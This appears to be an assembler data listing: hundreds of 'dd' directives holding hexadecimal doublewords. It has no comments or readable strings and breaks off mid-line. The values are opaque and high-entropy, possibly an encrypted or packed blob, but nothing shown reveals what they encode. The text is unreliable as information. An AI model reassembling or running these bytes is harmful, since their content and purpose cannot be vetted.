96261DBBh dd 9CAB6B12h, 0FB122FA8h, 2BED855h, 320AE9D4h, 5416A9C8h dd 0D73A8725h, 0D00207C9h, 331790C3h, 2EC22172h, 0BCAADCA9h dd 441C955Ah, 0EAD774h, 9566AA0Dh, 2ADAB81Ch, 779D6E84h dd 49DF25EEh, 0C3607CDCh, 4A30B4DCh, 0A468041Bh, 0B13500E2h dd 0F42AE6EFh, 0A225640Bh, 0D051E166h, 0A231685Bh, 29BAE903h dd 0ECA29D2Ah, 0A4956893h dd 60B0653Dh, 1CF1BF55h, 6864135Bh, 2FA9E21Ch, 85BAD6EAh dd 0E78939E9h, 92BA4E8Bh, 0C978FCDCh, 0E3C05C7Ah, 252B73EBh dd 7FD8977Ah, 2E0038B6h, 0BA44A347h, 0C3FF0148h, 58C2298Ch dd 7F0E6C31h, 45B7469Ah, 2AB29CDEh, 0F1C14EECh, 0D44E30A0h dd 588042BFh, 0A6895ED6h, 9DBA4EBEh, 0B5DF6092h, 0E50B6880h dd 4B409A6Eh, 4C0D47D8h, 0FC8027C7h, 81344F55h, 330FCB03h dd 0B84352C8h, 261DE7F3h, 18D074A3h, 4DC912FFh, 0F43ECE28h dd 91BD5B5Ah, 55EAA205h, 5D4980E4h, 195A742Eh, 89310EEh dd 76C9BF4Bh, 0C946E720h, 0ABE66C97h, 78FC5B5Bh, 6368FB4Fh dd 33012C47h, 3EB094Fh, 0ACD9FA85h, 5F7B850Ah, 0D82595F3h dd 0D6955E50h, 515051EFh, 3CDF49h, 1EC0A3B1h, 0CB8007E1h dd 505C3083h, 2E7AA739h, 0C4FF6F74h, 78F9FBC3h, 25269A07h dd 0D5F7B56Ch, 0AD65BB18h, 85FF7009h, 4D0458D3h, 3107D4FDh dd 0A8F175EFh, 6DB90109h, 814FF93Ch, 0D9A69E9h, 0C5828601h dd 0BB00D537h, 5F6552CCh, 7D41AE2Bh, 0D954B304h, 81799730h dd 5BAF3B66h, 825E1209h, 0FB4F928Ah, 4EE9052Ch, 1D3912A1h dd 0D22FCD5Dh, 0CDFC080Eh, 0B9166809h, 63C60731h, 89A94992h dd 8AB07DFCh, 47CE538Fh, 4B20E4F3h, 0BAC88CAAh, 0B05E2440h dd 0CA0202A5h, 0F8318BF2h, 0BF08A8Eh, 5160F668h, 0D91589C3h dd 0D489A19Ah, 7E62915Ch, 664A5B2Dh, 0FC9F845Bh, 71CEC7BDh dd 2E147C39h, 9007C6A0h, 4B450945h, 0BE03377Ah, 9A8355Eh dd 0E0B77EDFh, 90E0D11Ah, 0B18C4A3Bh, 72EE2FF3h, 0A3200C40h dd 9873206Dh, 0DA14011Ch, 0CAE9A502h, 0A49F6C15h, 4D1087C0h dd 47124C97h, 2ABC7F20h, 0D1709320h, 812C6400h, 0EB71B2CFh dd 0B3BB81Eh, 38FAC329h, 482DC8DFh, 982B06F5h, 6A229DE9h dd 6F337C97h, 0AF122784h, 0A6929A44h, 62DAA7EAh, 544E9029h dd 0E88B490Ch, 7DD7CA7Fh, 0D6A474CDh, 1D3C5F2Dh, 0C6F7D2FFh dd 0E9E095E5h, 9830730Ch, 66B40C30h, 1F06403Dh, 18403804h dd 3D84DD01h, 2F0C081Ah, 5E209414h, 0BFB132ECh, 0AF5606Ch dd 6867EFF8h, 0D755E90Dh, 82BA6D94h, 0AFD8D6CCh, 44DA5637h dd 0DB6C9960h, 0BBCED359h, 9D0CECC6h, 0D543F8DEh, 5736D80Ch dd 0BE7C9F68h, 3120B020h, 0FD974Ch, 0BE5AD7A0h, 80A2162Bh dd 18BFE718h, 0E9AA4E46h, 1F0E5B4Fh, 56215610h, 0E7FCF068h dd 196C6609h, 48E5800Ah, 7E24172Ah, 0DA5B6021h, 0EC9375C3h dd 3112679Ch, 358F41FEh, 25B7444Bh, 0E8D13F6Bh, 680C4074h dd 0DE37502Dh, 7569C3h, 827A9A93h, 0D5E91844h, 0E02D2E26h dd 328ABC17h, 5F27A1F8h, 0D6522AF9h, 46E9502Eh, 0AD006E9Ah dd 9C6AF005h, 15D8291Ah, 2642BC68h, 0BBE95209h, 0C3800140h dd 0E3280712h, 0F296E4E3h, 0B3530C9Fh, 1CCD3084h, 0CB05EBC0h dd 0E5F008E3h, 0E93FF304h, 9052DF5h, 1F21ECDh, 99DC055Eh dd 488BFF89h, 0FD9720CEh, 0E913C534h, 0CAAA7E10h, 0D61427A8h dd 94D0DA4Ah, 2A45220h, 12D7B951h, 0F2D510DFh, 0E9490CEAh dd 0EB333C3Fh, 0EB8BDEBDh, 291558B1h, 588D4979h, 50A4434Ch dd 300072Fh, 0F2B920C6h, 0BF4AC014h, 7DF3C09h, 0C8A040C0h dd 9796E91Ah, 9BFDB00h, 6E24703Dh, 0D1099229h, 3177EEEh dd 4C903836h, 0A2A197B7h, 95FCA35h, 0D01C5DF8h, 4BF47C9Dh dd 0A9C3C5D5h, 3DD3090Ch, 826317F4h, 40179270h, 167B4D65h dd 16E91B49h, 8850D13Dh, 0FE328540h, 82FFF6C1h, 5F052634h dd 542C6EE9h, 0F2E18BFDh, 1C278048h, 9E9073F0h, 0E9EEA1BDh dd 0D16E086Fh, 81A1A8CCh, 0F5AE62Fh, 822F321Bh, 0DC604604h dd 19E8135Ch, 0DBE94D13h, 58815B0h, 0C6685BF9h, 7C4BEA1Ch dd 63B6D6B5h, 104A258Eh, 6883A4E2h, 0BB847547h, 3A9595B3h dd 9FB1510Bh, 28355982h, 0FC3816DDh, 97DB5FEBh, 6A065CA8h dd 574816C9h, 0F9968FC4h, 9EB1B396h, 0ADD5BC6Bh, 0EF2DB037h dd 83F76F42h, 26FDA18h, 5DB7C1DDh, 2E4065E8h, 172429D7h dd 4346C22h, 1F518DC0h, 0E9420BF8h, 43723EB0h, 194BCCDEh dd 5D608BFBh, 8AD2A2EBh, 0BD0B3576h, 0DEC0FF02h, 22B5413Bh dd 94D8FCB4h, 755658ACh, 0A5350A2Ch, 85A05EDCh, 75904152h dd 551510C1h, 367450E9h, 0F6D05829h, 28D19932h, 46C168E0h dd 0DEF79983h, 24F47E20h, 17432C77h, 0BE6280C9h, 6276BCAh dd 27535601h, 0FE20B3F8h, 12CE9723h, 0E8FAA530h, 0F0B7C280h dd 22AC4F41h, 0E7DF52EDh, 0B8E904FFh, 1274FF31h, 4D5298C0h dd 1361099h, 0E90840C5h, 542EE22Fh, 0E828E0CFh, 0D7EA5966h dd 9B98C8E0h, 0C3FE731Ch, 20A9CB94h, 78BB0023h, 811C1926h dd 170555F3h, 0DF310F7Ah, 51C02724h, 9727C97h, 9CF2E969h dd 75DD47A7h, 7280582Dh, 0C72E6859h, 0B262DB20h, 0EE7C5750h dd 45E85A93h, 4392AB1h, 0E73B8B81h, 2E21BA2Fh, 0F33A8BC6h dd 0CF4D79C5h, 3B914B01h, 8068B86Ch, 6DFF34CBh, 0E06B16FBh dd 96955CD4h, 63A00981h, 0DB811753h, 606A16CBh, 8F5A0490h dd 7CC2BC41h, 0BA2F75D8h, 52DD720h, 10A22D0Fh, 2507DF88h dd 0F69FCE5Ah, 82E02DB5h, 5F82443Fh, 0A2899DC5h, 1F7375EDh dd 993EE324h, 0EBC9240Bh, 0FE818AB9h, 6823A96Ch, 1855CA43h dd 88B5BCBBh, 0BDEC51FEh, 4EDC01Dh, 0A6D2C5DFh, 985EE0FCh dd 7309F717h, 0E2BB52B5h, 8C2ADC07h, 0CB2F8297h, 9C60030Bh dd 0D4948C1Dh, 0E9D60D48h, 0EE233D69h, 71F799E4h, 1C312A74h dd 10A55BD9h, 161E1EF7h, 0CC3039E9h, 2BF3EFF7h, 4E300EC9h dd 4B1272E0h, 0A764B03Dh, 0F71DD296h, 25AD68C5h, 0C246E635h dd 4C232BC8h, 0E80756D1h, 6F546E45h, 0B38204DEh, 0FAF8EEA6h dd 160BF326h, 0FE395260h, 2EB7E149h, 2CD00094h, 547668A4h dd 6515D714h, 0A8C3C316h, 5053B059h, 0EBB0B68h, 3B0242B5h dd 66F7611Bh, 4A519DF2h, 3894D918h, 9D14EA55h, 84C44CBh dd 25F0447h, 0B2EF0A81h, 5992DEB1h, 35BAFB0h, 0BF21990Dh dd 1E8E053Dh, 0C6A0C05Bh, 40AD0430h, 0EE7D95E9h, 6853FB30h dd 4B016213h, 5106078Ah, 9F9FFF6Ah, 0C01D52DFh, 1A91681Dh dd 48FCECBFh, 42C9C1D5h, 928CD6DEh, 4BE833C7h, 0F3AC6761h dd 1E25A984h, 0EBB85A2Dh, 0F2C2D72Ah, 38FDE132h, 9DDD30B3h dd 4A8BF659h, 3E2FA07h, 1DA1628Dh, 98E9F089h, 0AF4954E6h dd 0B27FF704h, 0D0D221F3h, 47376840h, 20E955A8h, 9EEC2C4Ah dd 98728892h, 86F8655Dh, 27ED4172h, 0E05129D4h, 0F2367580h dd 3013538h, 0E932F343h, 0DF05F45Ch, 51734826h, 280C9681h dd 6EB25903h, 3C4B89C9h, 683F09E2h, 0AF478262h, 7A10AFEh dd 0AF6A6C5Eh, 0E250F1B2h, 311ACC77h, 31185983h, 0B9C2EF1h dd 8A091682h, 0A08E0A0Eh, 0EB0580E1h, 68578C16h, 2B60A826h dd 9AE5EC4h, 53D75C52h, 0C775A726h, 80D28B5Ch, 5D9CDD14h dd 0E52BE51h, 1C90F5C7h, 0B280F7A3h, 39C0BFCAh, 0ED2845h dd 937B3168h, 19570844h, 49CA8706h, 927AF406h, 0ABA0D2E0h dd 4B8B44A4h, 772BFB14h, 8C06444Ah, 8ACAEF6Ch, 0FE8B4727h dd 98774EDFh, 432E2755h, 0F2B2594Ch, 18F4B905h, 0C4002AB6h dd 1A6F1BDCh, 613427E9h, 0F0DF11A9h, 28DA9EA4h, 0CD6E2DC7h dd 0B60C0FE5h, 40598D36h, 3E002DC7h, 5739D972h, 92406BFh dd 4F47653Bh, 0DD9836C3h, 4E5A107Eh, 0EC4A34ECh, 685A811Bh dd 518849E6h, 0B801EEE4h, 2AEC44D1h, 0C95CEDE8h, 8F825EF1h dd 3B7A3510h, 0A1FD7931h dd 0F5F018E3h, 0CAD665h, 41DFCB1Fh, 0E913399Dh, 0AAE60F80h dd 0A64FE33Ah, 93563D85h, 0E83435FDh, 3421C0EAh, 0BA042557h dd 66F16EAh, 920EFFF8h, 0E963D0F7h, 34020D9Bh, 973AB6BAh dd 0A902C10Eh, 5274C83Ah, 0BCADEF3h, 70FD43C2h, 4A08F6B8h dd 698FFFAAh, 3E85C074h, 681E1776h, 1BC4E5Eh, 0E3F541D3h dd 7C07FE7Fh, 0E90740D8h, 0D92D6127h, 4B133CD1h, 0F017AC78h dd 4CE4685Eh, 88D3221Ah, 12F58A9h, 11B974C6h, 89AF4B02h dd 792965BAh, 756D893Dh, 0DAFD681Ah, 57EB6E2h, 97E66E1Dh dd 9F71D9BFh, 0B9D2FE47h, 12989042h, 41DE3D3Dh, 0AAAF0D93h dd 0BB5BBD8Fh, 21035231h, 0C496B36Eh, 0FE12A2CEh, 0C7FF1616h dd 223AC2B0h, 57EBC8A0h, 0A47BB823h, 9B65D425h, 5DE19A28h dd 0E9501359h, 4A67B2C4h, 0AD538D5Eh, 8B3C56B4h, 0F90BEF01h dd 0CC36C5Ah, 0D9A65DAAh, 0CE6F2BBFh, 372B4869h, 0AB521C86h dd 0CF63F4h, 0E06844CAh, 0C0C28163h, 9C1F9716h, 6B85501h dd 0B52B5C3Bh, 0E908002Fh, 7BC035B1h, 290B8CEAh, 0E5D6005h dd 40A925C0h, 0B2E22FEFh, 352968CFh, 0E2EE6071h, 7E46A307h dd 2C08A0BFh, 811BE1E9h, 9BB64DB0h, 4CB7F30h, 12E68001h dd 6ADE2DE9h, 0BB422C31h, 50043E7Dh, 0FE2D7054h, 0E1F3F343h dd 9B88974h, 3D102428h, 2A1D5095h, 0B87B1241h, 16610699h dd 0B0C56CAh, 5B1796Ch, 70A5F5F9h, 0BCCC20F5h, 0AC20E698h dd 0EE212558h, 0C4033B61h, 9602569h, 0C5F68112h, 6A3F246Eh dd 0C0551F73h, 953563FBh, 59023032h, 0F8A8E948h, 0E2E574FEh dd 28023D4Dh, 5D34C2CCh, 68D7320Bh, 0BF7BDFBh, 450EB171h dd 17806CE5h, 31407C18h, 1DFACCDDh, 0EE24C121h, 4D040D05h dd 4EC3E60Ch, 54CDCDA6h, 89624641h, 0A102DDCAh, 775E2F3Bh dd 31FF082h, 0D9214316h, 6E35A44Fh, 0AD2E0B7Ah, 880B1F84h dd 2916F7BDh, 3601331Dh, 57C62E34h, 94C6820h, 0C101F86Ch dd 606728Ch, 0ADF39CF6h, 0B0ED3468h, 0AD0B4059h, 8C52249Fh dd 50D103E0h, 9C585EDh, 0EBF1CAD8h, 0D12D5AD6h, 0AB576559h dd 0AF2EAEF7h, 1C8892B9h, 58C20115h, 0C29FF280h, 206438D1h dd 4A72CDA0h, 838EFBEh, 442B0AEBh, 29E5392h, 6CF63F9Ah dd 5E78C1A9h, 4D4BA41Fh, 7F1BB901h, 0C47F9D22h, 0B7FCAF05h dd 4941050Dh, 1878380Eh, 0AF6C907h, 401DB6D9h, 0AD57F668h dd 0B78B4C20h, 0B820AD52h, 92E4B522h, 75CF8107h, 0B3AC310h dd 0C035CBA5h, 4CF0980Ch, 3D040908h, 0C437447Dh, 8F810BFh dd 8802E909h, 5404C071h, 0C080555Ah, 30CF22C7h, 0DFFC4B2Dh dd 61096B2Bh, 99CA41E9h, 0B84254D2h, 14C4D7BBh, 90477601h dd 5DA76828h, 3E002136h, 29E01F06h, 8EAA59CEh, 11A07A5Dh dd 2FEF237h, 0D806B5C7h, 0A7F0771Eh, 0A5E7100h, 7B9B88BAh dd 0FF74973Dh, 49DA3042h, 0A63BC8FEh, 9ABB1EBAh, 12749C5h dd 8ACDF145h, 0F7A36AF8h, 1CE016C0h, 741C8C9Fh, 5D6C15DBh dd 0FC4ADD76h, 12258D0h, 3C0B3040h, 94414E5Eh, 99E32A2Ch dd 483589E9h, 2E54E6E8h, 25360D2h, 30D45958h, 24156160h dd 0E9447F0Bh, 42F9A5h, 554947EEh, 0EA69F181h, 7A8BDF0Dh dd 0C5FBDB0h, 0A8EEBDC0h, 98AFB009h, 4CC402C7h, 0F22927A0h dd 20B0B5C3h, 9EC10B8Ah, 0E3E9D3DCh, 0F8DCCC2Ah, 0FA5A2B40h dd 828095C5h, 0C9FE9DB1h, 0F55A70FEh, 0C9562A23h, 4B2E18F2h dd 3A7837B5h, 5484FCB5h, 0B1099399h, 1B2683Ah, 2559250h dd 6BB70558h, 407D6A36h, 0B5C82128h, 754B57F9h, 0D859CC98h dd 1227BA80h, 908E344h, 0B9AFF7DAh, 82651401h, 0BA59204Eh dd 51AF3202h, 0FE4018E9h, 0AEBD705Eh, 771A5309h, 0BC4C5D31h dd 6582B65Fh, 38745A21h, 0E94B1068h, 2117C76Ah, 58CD7F0Bh dd 0F77C0389h, 6309C130h, 0C85E082Fh, 12EBC743h, 0BE6B4D44h dd 908DA50h, 59FE73E9h, 4298A769h, 6B4AE955h, 15BDE30Dh dd 2DFD29C0h, 9877EF89h, 9C71E968h, 0EC56276Fh, 0E0BB3113h dd 2F16FEDDh, 0BE038Ch, 0CA814A3Bh, 58587ECDh, 4DF207BDh dd 0D0690E1Eh, 60F1908Fh, 56BE7276h, 7001692Ah, 4EECE681h dd 0C12F1B46h, 70BFF56Ah, 7B41567Eh, 0AA48F920h, 998A77A1h dd 34D12731h, 306AF853h, 253E985Dh, 0FDA36458h, 7C8B5554h dd 16480C3Ah, 0C4EA5D68h, 0C081A57h, 1D3D1410h, 5B7FD812h dd 14407BA1h, 12077E32h, 0AF685516h, 755D5782h, 2A1C93B0h dd 27B8217Fh, 51D78F0Dh, 0B82A3C01h, 4A4C4C90h, 7E9C1FAEh dd 0B057E912h, 96775ECDh, 8116614Fh, 0F73C00AFh, 0A26853D2h dd 98374C03h, 0ADA295Bh, 31E9D106h, 8580A6F7h, 0B0AC275Eh dd 18C70A8Ah, 0DC29AD66h, 6E750B8Eh, 0F6628D76h, 1EAD285Fh dd 50364E66h, 0EC360597h, 3741AB2Ch, 0BEC680F3h, 0FEFF0684h dd 2184E1CEh, 27E9F401h, 8997D5FBh, 8F08440Ch, 30C6CCD8h dd 70F7E006h, 0B9F85A5Ah, 0C3E26A74h, 0FB876686h, 136F58AEh dd 5B79BFC0h, 0C3A033FAh, 8D3B0184h, 68E70272h, 0FF3F9706h dd 46108BA0h, 0E9133C04h, 40D2408Fh, 1C7E55C3h, 282F6805h dd 517249h, 1E0F9260h, 0C3B93A06h, 56545692h, 2F01BE71h dd 4EC179CEh, 0A2920C82h, 3FE19F45h, 40BF02A9h, 98781BC7h dd 38D90BACh, 94121865h, 3E040809h, 1834D5F0h, 30DE140Ah dd 6806398h, 9859BAE9h, 0F9D94045h, 685700F1h, 41780CE6h dd 47EA5F20h, 9FF207D8h, 4DFC0BCEh, 0AC59FB89h, 955D64Bh dd 0D9A97554h, 0C3F620D7h, 903FCA69h, 79070912h, 92FC352Ch dd 0D5A308A0h, 8009AFBAh, 360CD634h, 0C9810073h, 312575B2h dd 7C9477E9h, 9A92541Dh, 0F852E4F0h, 0C0F6B33h, 0D5CB927Eh dd 1920CE96h, 7DB0829Eh, 0BC055CAh, 0F8006A7h, 0B4B33085h dd 2969680Ch, 3F3339C4h, 56F9F640h, 89250274h, 0CF8E0F3h dd 65F3747h, 9576406Ch, 9AA84F7Fh, 78107773h, 1E129F4h dd 85F26AD9h, 40D0055Fh, 9276C248h, 3BE6600h, 0EC52E820h dd 88EA3DBAh, 3C748925h, 7F4EDD3Fh, 6C87050Eh, 0E8C76BE9h dd 76EBA0h, 90253413h, 0F723ED2Bh, 5F6ED858h, 0E9506B01h dd 0FE2BA6F4h, 68CEBB72h, 4AED805Fh, 1B63A89Dh, 0F974D328h dd 0B22B38C3h, 7C56DFECh, 9F5122F0h, 0F35A45FCh, 0B325937Dh dd 0FDF50F73h, 40AD32FEh, 4A944698h, 0BA0F8628h, 0A24B6498h dd 0CC5F4FBBh, 0E7265024h, 1EC650DFh, 2A147B74h, 589FB01h dd 5D0C37FEh, 44F094C2h, 4C3A2F20h, 49540A12h, 0E917F768h dd 5A3B49FBh, 5A759ED7h, 5BE9C5Ch, 57ED48BFh, 0C5F029E9h dd 6323875h, 0A795926h, 9D2C2967h, 1AB709BAh, 35D86220h dd 0F702877Fh, 595551D5h, 0FF9EB5Dh, 1C2046F6h, 5DB8137Eh dd 53093E9Fh, 28023EC6h, 450650FCh, 70272090h, 48E7894Ch dd 66082CF6h, 0BAC593Dh, 661E9A68h, 0D369202Fh, 689D62B7h dd 9BD558Eh, 6E6D76F3h, 28E6EF00h, 0ED900DBAh, 0C16B4F0Eh dd 3965D6Ah, 5A07B6E4h, 25E9445h, 0E66A84D0h, 604C0955h dd 801D9D18h, 2401D0F6h, 682E2C05h, 475056E2h, 0C05EB1h dd 0C18008E1h, 59CB2870h, 7B1E2BE1h, 5F685805h, 0B51F8FB3h dd 0E7CD941Bh, 88402E16h, 0B0245009h, 9617B83Fh, 0D9183F91h dd 4BA3FE04h, 0E253163Ch, 772680Ah, 0FAE3C191h, 22EA3BFEh dd 0FFD81393h, 73D52D02h, 405A2C3Ch, 2E4EE667h, 45144Fh dd 0EDF2BD3h, 0EA501FE9h, 914AAB41h, 3A989DBFh, 2D7C6BE4h dd 68806422h, 151375CFh dd 965A4461h, 430300Fh, 61784167h, 1DAC2A8Ah, 880B14Fh dd 3949E9BAh, 0F5C016Ch, 9C51C8AFh, 13588547h, 8B1EFF45h dd 12FC0C4Ch, 14A0090Dh, 0D28147F3h, 70772C6Fh, 0D10EE129h dd 0CD406E53h, 0B22455C1h, 75130931h, 335F0167h, 0F7C3C227h dd 8779A90h, 0B0EA3ABFh, 13FE29E5h, 9416B6E9h, 1BB8AE70h dd 19422A42h, 0E0CFE909h, 6F9A9077h, 10390D38h, 440F329h dd 0C19FB208h, 0ABDB02C3h, 0D7E99742h, 0D543914Ah, 2F9E62B9h dd 3A50A9A7h, 753F92A9h, 3806C9EBh, 51B8975h, 61E8322Fh dd 9D57FF4Bh, 1510ABF9h, 495F12EBh, 76F1F602h, 43B982A1h dd 94BF004Ch, 9B83951h, 33FEC706h, 90C7379h, 70F3D8A4h dd 4BB5F2D8h, 955FA20h, 2A2CBC80h, 589D9078h, 3EC89C28h dd 0B9E7F502h, 40570AFAh, 80388B7Eh, 0C4DEEEB0h, 0A0B08C52h dd 0F6D3BF5Ch, 0CAEAE9C2h, 460440C2h, 48150C6Eh, 0E90B42B9h dd 0AD40684Fh, 4D55BAEBh, 28CBEC3Ch, 0B7C626A9h, 61C8CD1h dd 48124689h, 2A68C22Fh, 0F03753D6h, 68CC9F33h, 444EC20h dd 71524ABEh, 375F86Fh, 0B10CAFE6h, 58DC708h, 0FD6A072Eh dd 1CDD1F2h, 0C54660F5h, 1B7F900Bh, 0C489202h, 0E05E0C08h dd 5A322573h, 0B39055CEh, 0BDB4E74Fh, 0E8394175h, 0F1DDF771h dd 0BCF09A00h, 7EFD89FBh, 3049255Fh, 0B9422B5Ch, 55D24261h dd 70A2462h, 12C62C8Bh, 171BFD2Ah, 21B85E90h, 0C8F155B3h dd 28798920h, 388CE40Fh, 0FA5079B2h, 0BA685C66h, 8ECFE84Ah dd 0DFC10B03h, 80D98101h, 0BD95E7E9h, 87BA4BA8h, 0F96E2DE7h dd 0BE1980B5h, 0BB45C25h, 7AF15D31h, 0A0679304h, 85860B24h dd 0BEB8265Ah, 0F3607E16h, 5797792Fh, 0FB2F4FB4h, 9D2E517h dd 4D7908D2h, 5C53F682h, 0A44FC23Ah, 294501F5h, 0F01B84FAh dd 3A1EBED0h, 21CACD4Ah, 0C20CF2F2h, 0B03CEE01h, 71182D7Ch dd 0B3E0B9FCh, 70D8287Ah, 0EFF07B5Bh, 274EA87Bh, 942D719Dh dd 5513CF88h, 989BE05h, 0AB5B722Ch, 4DD7CB1Eh, 6880C2EDh dd 463D4765h, 9B200390h, 13537615h, 0BFFEF2AAh, 0B2AE3DBh dd 12575F84h, 83C5AA93h, 3803608h, 0CDFEDDF6h, 0BABA24BFh dd 0E91C4CC0h, 0BD059A4Fh, 344CD460h, 2BC6CBCFh, 5AC376F1h dd 4531805Dh, 392D8540h, 0CF30F931h, 87D7F708h, 9841D180h dd 254509F2h, 0FD004B1Eh, 7B1B7DB5h, 5EDF0F5h, 0AE9F20FDh dd 0D0F60D2Dh, 0DF17168Dh, 0F96C0919h, 56C359D8h, 0DCCA895Fh dd 0C2BDB6EBh, 0DD3A40E9h, 0E3AF7D22h, 50467C5Dh, 48BFF568h dd 80D3B5ACh, 75B8DAF7h, 2D5940h, 75CB7962h, 0A672A205h dd 0D8291805h, 0E5B17AE9h, 9D802E54h, 5FDBF562h, 133AFCC9h dd 27ACA7E9h, 7B49FBA4h, 0D50D62D1h, 712770FBh, 0CEDD620Dh dd 0A3806B2Ah, 0F73B635Ch, 3556BFD2h, 78891E4Dh, 1102FCEAh dd 25C0F088h, 739F9812h, 48D93FD0h, 0B51DE84Eh, 6C5B47AEh dd 0B92DA041h, 9106DECDh, 0EF7FE9D6h, 1DBF0B5Ah, 60F80D6Eh dd 0E90D1961h, 41296DC4h, 9E1EBF5Fh, 370FEDCAh, 0FC02614Bh dd 2020F4D9h, 0C1D817F7h, 0E6F504E8h, 0CE56AE37h, 0D039D20Bh dd 0A92C5E59h, 4FE9D3F5h, 0A925B64Ch, 54FEC7Ch, 459132E0h dd 9530CB01h, 482F00B3h, 69CC3576h, 0E9127CF4h, 0C941AE84h dd 5A59CD89h, 92C61520h, 0C55C5C79h, 14D46127h, 720D3242h dd 19F10B34h, 0D5546642h, 0FE2FB601h, 813A4117h, 0A1AE58h dd 5C7BB5BBh, 72109AADh, 0D42D0E1Dh, 5764902h, 70B0523h dd 251F735Bh, 84287145h, 56D83D2Fh, 7A217979h, 0B3018175h dd 609B1B44h, 3968E160h, 25FEB09h, 968FED3Bh, 0C0AE901h dd 0CCC3D153h, 0C9982DC3h, 0C2FB67BBh, 0B9C6571Ah, 3671430Bh dd 9BCF0379h, 0F739D05Ah, 0BD1B0D3h, 73232161h, 175E7DE2h dd 3AA2D772h, 6807A83Ch, 410F7B60h, 4AF3F658h, 20034143h dd 412E6C29h, 766DFC5h, 1FCA78FCh, 922C41Eh, 957B10C3h dd 0E834AFBDh, 17BBC53Bh, 0FC1AE70Ch, 0BA70A0Ch, 1C09E816h dd 3D14D5E5h, 2E680209h, 0C5147510h, 619A5F97h, 0FAC2F854h dd 590DD45Fh, 6777E68Fh, 0E6310970h, 29AFA353h, 8E950019h dd 0C12CDF50h, 1718768h, 0A8B06A3Bh, 191B0546h, 0E1CAE962h dd 28EF2FF5h, 61D70103h, 79DB2F80h, 0BA600235h, 0E04EC26Dh dd 0C17ABFF2h, 3950F490h, 18F80DB9h, 0E1BCA8B8h, 1CD00820h dd 1FAF4014h, 8A30F782h, 24B5EA89h, 0B3BFD64Dh, 2F5B4C7Dh dd 0F029E428h, 0E7394B79h, 5CAA61E7h, 0A21C737h, 95FEEEE4h dd 7E98F9E4h, 91235F25h, 8C2A5CB1h, 439E5460h, 4E264F89h dd 0F9F997B7h, 4D41596Bh, 6F90F164h, 0BE92CBF6h, 0B0EF5D70h dd 3CF9240Eh, 6EF40241h, 825F10BDh, 0B3B51C1h, 0D28955h dd 0EA848369h, 9AD89DFEh, 0E93370EFh, 5EFA593Dh, 139FFFE9h dd 93E3BFCEh, 0D340F6D6h, 2F9E99A8h, 2DAFF008h, 349416FDh dd 0E97AF3DAh, 0D983E28h, 0B44E41EBh, 5EFB3E40h, 8A806BFEh dd 0B8D1495Dh, 488C897Ah, 0C35E2900h, 35E99088h, 0EB5CECA8h dd 0D20388D3h, 0E994D526h, 0D3D0212Dh, 92E0AFA1h, 3181D86Ah dd 4A29FB2Ah, 0AD71906Fh, 3048657Bh, 22A900C0h, 28E91E82h dd 0BC9AB195h, 0E80DAB13h, 9AFCE492h, 780A244Ch, 8B1AFEEBh dd 0F121EC59h, 804704E7h, 0E169EEEEh, 12F33553h, 0BC3AC08Eh dd 3D441065h, 31DEF707h, 0B5F227D6h, 71ED13B9h, 770168B4h dd 53541006h, 0CA135F3Fh, 4EF1B366h, 0C1FE2DD4h, 81736451h dd 95BDED7h, 9B205EF5h, 0AF3D1EA9h, 0A9CD5612h, 4B584F7h dd 0EEC6560Eh, 0AFBDA505h, 0F3E32D8Bh, 64EECCE3h, 99B0EF07h dd 4A919958h, 0BD664434h, 0A33A106Bh, 6B72EC7Ah, 5F2255E8h dd 0B65D9A91h, 0EF295210h, 1B2DE93Eh, 81019359h, 774C84F1h dd 0C80DC2C6h, 2A1BB0Dh, 0F7615527h, 60C087DBh, 1195BDDCh dd 0FD3B5B20h, 0C7EF05C0h, 49FBFA1Ch, 53C03749h, 6A166905h dd 10BE263Bh, 0D84E0753h, 1440DE55h, 0CB9E09BFh, 42856038h dd 0F332EA27h, 696BD659h, 0E2CC8907h, 2D42739Ch, 4298BC60h dd 52272B18h, 48C8F8h, 5FBA7C63h, 0E910614Dh, 890A8B5Fh dd 70A7CE53h, 0D0D83F99h, 5EFECC2Dh, 48F19489h, 17BB61FDh dd 4853D99Dh, 5B930113h, 0BB9314F2h, 4CB518B0h, 0E525F22Ah dd 6757071Ah, 4C7A927h, 0D85E1168h, 697F421Bh, 0AE105A83h dd 4A481E2Ah, 9315A6Ah, 0AD805A64h, 0E76509BDh, 2AE1235Ch dd 81DE4AF5h, 9A4963CBh, 8E73FD3Dh, 0B18BA7EAh, 62F1FE61h dd 23AFC358h, 0B8D53005h, 0CB139E8Eh, 42E1F853h, 0BAC1CA68h dd 3F74FB60h, 9AE9A5C1h, 8A4E9B28h, 29C62518h, 0E9DC0156h dd 6E74FA9Dh, 28ABB634h, 0DFED5160h, 4ED9E63Ah, 0A9D01164h dd 4C3E0F58h, 1F13A36Fh, 8167CC38h, 0E909EA9Bh, 315141A1h dd 74C31864h, 55CB2546h, 8A0B77Eh, 8BBA5E4Ah, 0E8E9164Bh dd 0A52DFA80h, 3292811h, 5DAF09D4h, 0B2806A5Eh, 45DA3ADDh dd 6F061380h, 0AC818A50h, 0F01A321Fh, 542E6EE2h, 0F200D0D9h dd 3AE62B2Ah, 1BC20905h, 0B3280A7Ch, 0E85A1A07h, 0B55758D7h dd 902A99F0h, 0CD77AF38h, 0DF8D6825h, 2088164Dh, 3E78277Ch dd 2C7BD107h, 22D5574Fh, 0BD1369A8h, 18C40E4Bh, 0E8ACC56Eh dd 0D052F708h, 2EE64A08h, 7E23F605h, 0FE7FC032h, 1A3BAC13h dd 5265B2E9h, 0C840AEBEh, 8C5A1D83h, 5E1627FBh, 0E79AC1F8h dd 752F4796h, 0C3B9B438h, 50681B26h, 6C7F10Ah, 4D47C601h dd 0A0207767h, 0A04F1380h dd 4003B96Ah, 192D6808h, 8FFAD169h, 79244BBEh, 1EF2C166h dd 885B00F2h, 584695E3h, 0C2BA18FCh, 2F0D9281h, 0F3FB1285h dd 8C20A5A5h, 0D3D2677h, 0EE27E962h, 816560EDh, 44BCA04h dd 0C0BF0FB6h, 441A370Eh, 0E9B1F44Fh, 413F3628h, 5E8F76C1h dd 680EF9ECh, 211C60A9h, 0C2E09D09h, 0A7587766h, 4EA45B4Ch dd 3C65AB04h, 3054EB3h, 0F0299363h, 0D02DE950h, 0C005714Bh dd 33B6856h, 70610725h, 0A1C0EFBBh, 0B48BB0EEh, 0F62D0140h dd 0D41DB01Ch, 75255B80h, 7DB8809h, 0E911D03Ah, 0CC04EB4Fh dd 0FCAFDDF7h, 85CD03A9h, 0B14E3D56h, 0AD9ACEDh, 4C10C03Ah dd 294B7F95h, 0AC8717EBh, 30B7B5CCh, 0B6306138h, 256BEB58h dd 